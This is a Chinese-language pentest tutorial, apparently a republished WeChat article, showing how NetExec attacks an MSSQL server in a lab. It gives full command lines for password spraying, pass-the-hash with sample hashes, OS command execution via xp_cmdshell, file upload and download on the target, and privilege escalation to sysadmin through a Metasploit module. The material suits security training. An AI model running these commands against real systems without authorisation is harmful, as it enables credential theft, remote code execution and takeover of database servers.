part1
点击上方蓝字关注我们
往期推荐
将二进制空间安全设为"星标⭐️"
第一时间收到文章更新
摘要
NetExec(nxc)是一款高效且灵活的工具, 专为安全专家设计, 提供了强大的网络渗透和后渗透功能。其全面的功能支持高效的批量密码测试和命令执行, 不仅适用于MSSQL服务器, 还适用于其它服务, 是渗透测试和红队行动中的重要利器。
开源地址:
https://github.com/Pennyw0rth/NetExec
实验环境
目标机器:Windows 10 (192.168.31.126)
攻击机器:Kali Linux (192.168.31.141)
这里将使用MSSQL服务来显示所有的测试用例, 在目标机器上准备好一个MSSQL服务器, 并为运行实例创建几个用户, 如图:
批量密码测试
为了检查凭据是否正确, 这里创建一个用户名字典:users.txt和密码字典:pass.txt。创建完字典后, 可以执行批量密码测试来碰撞正确的用户名和密码。为了能看到效果, 将在MSSQL服务器上执行该操作, 以下是执行命令:
nxc mssql 192.168.31.126 -u users.txt -p pass.txt --continue-on-success
要使用本地身份验证执行批量密码测试, 可以使用-local-auth
标志, 因为指定身份验证尝试应该针对MSSQL服务器上的本地账户来进行。
nxc mssql 192.168.31.126 -u users.txt -p pass.txt --continue-on-success --local-auth
批量测试哈希密码
如果在渗透过程中获取到哈希值, 但不确定哈希值属于哪个用户, 也可以执行与上面相同的操作。在下面的尝试中, 将传递用户列表并在-H参数中给出获取的哈希值。
nxc mssql 192.168.31.126 -u users.txt -H 64FBAE31CC352FC26AF97CBDEF151E03 --continue-on-success
如果希望以每个用户名仅与其对应的密码配对的方式进行批量密码测试,可以使用 –no-bruteforce
标志。若用户名和密码匹配,则继续进行,否则将跳过当前配对,直接尝试下一个配对,而不会尝试其他可能的组合。
nxc mssql 192.168.31.126 -u users.txt -p pass.txt --continue-on-success --no-bruteforce
检查身份验证
可以使用两种方法对 MSSQL 进行身份验证,即windows或local ,默认身份验证是 windows。要使用本地身份验证,要在命令中添加以下标志–local-auth 。这里尝试以sa用户身份执行本地身份验证。
nxc mssql 192.168.31.126 -u sa -p 'Password@123' --local-auth
除此之外,还可以测试Windows身份验证。由于默认模式设置为 Windows 身份验证,因此不需要提供任何身份验证标志来执行 Windows 身份验证。
nxc mssql 192.168.31.126 -u administrator -p 'Ignite@987'
使用nxc执行数据库命令
可以使用nxc来查询数据库,通过给出-q标志然后提及数据库查询。执行此操作的命令为:
nxc mssql 192.168.31.126 -u sa -p 'Password@123' --local-auth -q 'SELECT name FROM master.dbo.sysdatabases;'
使用nxc执行命令
为了执行系统级命令,可以使用-x标志,它使用 MSSQL xp_cmdshell来执行命令。可以根据需要在这里同时使用 Windows 和本地身份验证。
nxc mssql 192.168.31.126 -u sa -p 'Password@123' --local-auth -x ipconfig
nxc mssql 192.168.31.126 -u administrator -p 'Ignite@987' -x ipconfig
使用哈希执行命令
假设以某种方式获得了管理员用户的哈希值,并且想要使用 MSSQL 执行系统级命令,因此可以使用nxc来执行该操作。首先将检查 Windows 身份验证是否成功,然后可以给出-x标志来执行命令。
nxc mssql 192.168.31.126 -u administrator -H 32196B56FFE6F45E294117B91A83BF38
nxc mssql 192.168.31.126 -u administrator -H 32196B56FFE6F45E294117B91A83BF38 -x ipconfig
使用nxc执行文件上传和下载
可以使用 nxc 通过提供–put-file标志将文件上传到目标系统,该标志将指定文件名,同时还需要指定文件上传的路径。
nxc mssql 192.168.31.126 -u administrator -p 'Ignite@987' --put-file file.txt C:\Windows\Temp\file.txt
可以看到文件已经成功上传到所需路径。
同样,也可以使用 –get-file
标志下载文件。在这里,需要指定要下载文件的完整路径,以及文件在本地保存的位置。
nxc mssql 192.168.31.126 -u administrator -p 'Ignite@987' --get-file C:\Windows\Temp\file.txt /tmp/file.txt
使用nxc提取
这里将使用nxc的mssql_priv模块来检查当前用户是否允许执行权限提升。可以在-M标志后明确提及模块名称。这里将使用raj用户来检查权限升级。这可以在执行Windows身份验证并尝试权限升级的情况下使用。该命令的输出显示用户raj可以模拟sa用户。
通过添加–local-auth标志,可以使用本地身份验证重复相同的过程。
nxc mssql 192.168.31.126 -u ignite -p 'Password@1' -M mssql_priv --local-auth
可以看出,用户ignite可以使用本地身份验证来模拟用户sa ,因此将在下一步中执行提权。 Ignite 用户的属性也可以在受害计算机中看到。
为了执行权限提升,使用了 Metasploit 框架。有一个名为secondary/admin/mssql/mssql_escalate_execute_as的模块,可用于执行权限升级。以下是该模块中使用的命令:
use auxiliary/admin/mssql/mssql_escalate_execute_as
set rhosts 192.168.31.126
set database master
set username ignite
set password Password@1
exploit
运行漏洞后,显示用户ignite现在是sysadmin 。为了检查这一点,下面将再次运行之前在nxc中使用的命令。命令的输出显示用户ignite 已经是 sysadmin 。
枚举不同的端口号
如果 MSSQL 服务器在不同的端口号上运行,那么也可以通过使用–port标志显式提及端口号来执行相同的测试用例。
nmap -sV -p 9070 192.168.31.126
可以看到MSSQL服务器正在端口9070上运行。可以发出如下命令:
nxc mssql 192.168.31.126 -u administrator -p 'Ignite@987' --port 9070
总结
NetExec (nxc) 是安全专家的高效且适应性强的工具,为网络利用和利用后任务提供高级功能。其全面的功能不仅可以在 MSSQL 服务器上进行高效的批量密码测试和命令执行,还可以在其他服务上进行,这使其成为渗透测试和红队操作中的重要资产。
往期推荐
原文始发于微信公众号(二进制空间安全):利用安全专家工具nxc进行MSSQL渗透
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论